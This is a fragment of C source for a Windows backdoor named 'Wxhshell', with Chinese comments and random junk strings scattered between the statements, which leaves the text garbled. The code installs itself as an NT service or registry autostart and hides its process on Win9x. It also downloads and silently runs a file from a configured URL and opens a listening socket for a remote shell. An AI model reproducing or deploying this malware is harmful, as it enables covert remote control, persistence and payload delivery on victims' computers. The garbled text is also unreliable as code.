c1$ngH0 89n:)|rWq hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |+35y_i6 if(hProcess==NULL) return 0; Z|_K6v/c #VB')^d<U HMODULE hMod; %9k!A]KD char procName[255]; q(zJ%Gv) unsigned long cbNeeded; Ypeiy`. A#nun if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
)LJnLo+ Tn eq6> CloseHandle(hProcess); VtzI9CD y"6y! if(strstr(procName,"services")) return 1; // 以服务启动 e'*`.^ 4Ue_Y'LmM return 0; // 注册表启动 1G0fp:\w } "p/j; 6H "S&@F/ // 主模块 o\88t){/kB int StartWxhshell(LPSTR lpCmdLine) z-@=+4~ { >iOzl wmG SOCKET wsl; &K43x&mFF BOOL val=TRUE; R*oXmuOsYA int port=0; p}|.ZkyN struct sockaddr_in door; !eAo EyI}{6~F if(wscfg.ws_autoins) Install(); < -uc."6\ $`8Ar,Xz` port=atoi(lpCmdLine); 1VF
BnCKSg7V if(port<=0) port=wscfg.ws_port; UWZa|I~:J 4\pWB90V WSADATA data; !" JfOu if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zVi15P$ KJ?y@Q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \.f}W_OF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '=E3[0W door.sin_family = AF_INET; :qR=>n= door.sin_addr.s_addr = inet_addr("127.0.0.1"); kWlAY% door.sin_port = htons(port); l{:a1^[>y GyW.2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IcrL closesocket(wsl); 0l=+$&D return 1; tM,%^){p$ } 9'DtaTmGW SVa6V}"Iv if(listen(wsl,2) == INVALID_SOCKET) { `gpQW~*R-; closesocket(wsl); &3v&i*DG,I return 1; `e]6#iJ^ } !ph" mf$-
Wxhshell(wsl); T*I?9d{k WSACleanup(); DY{cQb p0{EQT`tMG return 0; [ U8$HQ+x _TUt9} } %d m-?` o<l 2 r // 以NT服务方式启动 8L5!T6+D& VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sd))vS^g { -fgC"2H DWORD status = 0; QM5 .f+/ DWORD specificError = 0xfffffff; zSv^<`X3 TFR(
4W serviceStatus.dwServiceType = SERVICE_WIN32; fd8!KO serviceStatus.dwCurrentState = SERVICE_START_PENDING; zTo8OPr serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |xr\H8:(! serviceStatus.dwWin32ExitCode = 0; ciMM^ZRIb serviceStatus.dwServiceSpecificExitCode = 0; `@`1pOb serviceStatus.dwCheckPoint = 0; G{x[uE2X&f serviceStatus.dwWaitHint = 0; k$Rnj`*^ 2UP,Tgn.. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rS*$rQCr= if (hServiceStatusHandle==0) return; u-DK_^v4M g):]' status = GetLastError(); &hV Zx if (status!=NO_ERROR) E1Q0k5@ { T~gW3J serviceStatus.dwCurrentState = SERVICE_STOPPED; mzD^Y<LTd serviceStatus.dwCheckPoint = 0; 2GWDEgI1o serviceStatus.dwWaitHint = 0; ?mRE'# serviceStatus.dwWin32ExitCode = status; h4fLl3%H serviceStatus.dwServiceSpecificExitCode = specificError; +&ZX$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); \&}G] return; znZ7*S >6\ } beZ(o?uK \
Aq;Q? serviceStatus.dwCurrentState = SERVICE_RUNNING; Y/U{Qc\6 serviceStatus.dwCheckPoint = 0; Vm8D "I5i serviceStatus.dwWaitHint = 0; W7UtA.2LT if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |$hgT K[L } 3gfimD$ _E q42FPq // 处理NT服务事件,比如:启动、停止 X;fy\HaU VOID WINAPI NTServiceHandler(DWORD fdwControl) (TSqc5^H { ~%y\@x7I switch(fdwControl) @?&Wm3x9 { $V8vrT#:
case SERVICE_CONTROL_STOP: *,#q'!Hq serviceStatus.dwWin32ExitCode = 0; zp=!8Av serviceStatus.dwCurrentState = SERVICE_STOPPED; -G ?%QG`v serviceStatus.dwCheckPoint = 0; `?o=*OS7Y serviceStatus.dwWaitHint = 0; ~v:#zU { V,QwN& SetServiceStatus(hServiceStatusHandle, &serviceStatus); _|n=cC4Qu } T!(
4QRh[ return; izt^Wi| case SERVICE_CONTROL_PAUSE: BpT"~4oV5 serviceStatus.dwCurrentState = SERVICE_PAUSED; UR>_)* break; QjukK6#W case SERVICE_CONTROL_CONTINUE: Ao`_",E serviceStatus.dwCurrentState = SERVICE_RUNNING; Xt(!
a break; t.3\/ case SERVICE_CONTROL_INTERROGATE: z
Bf;fi break; kfpm=dKL }; tSw>@FM SetServiceStatus(hServiceStatusHandle, &serviceStatus); a%[q
|oyR } 5u pShtC MTB@CP!u // 标准应用程序主函数 :Kay$r0+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =49o U { mq`5w)S)\o <kc]L x // 获取操作系统版本 *98Ti| OsIsNt=GetOsVer(); )l2P}k7`
GetModuleFileName(NULL,ExeFile,MAX_PATH); nL;K|W Fg@ ACv'@ // 从命令行安装 0}-#b7eR if(strpbrk(lpCmdLine,"iI")) Install(); 5`UJouHi LV=^jsQ5 // 下载执行文件 CveWl$T12 if(wscfg.ws_downexe) { a#R%8) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (6#M9XL WinExec(wscfg.ws_filenam,SW_HIDE); AFtCqq#[ } W8uVd zQ 9d] tjT if(!OsIsNt) { ):}Fu // 如果时win9x,隐藏进程并且设置为注册表启动 ,#
iZS& HideProc(); KQW!\y?$" StartWxhshell(lpCmdLine); 9C1b^^Kb } |)';CBb else z qO$ if(StartFromService()) ox
JGJ // 以服务方式启动 <dJIq"){ StartServiceCtrlDispatcher(DispatchTable); dWIZ37w+D else xrX?ZJ // 普通方式启动 hC|KH}aCR) StartWxhshell(lpCmdLine); k{qLkcOg= ${CYDD"mdy return 0; )j(fWshP }
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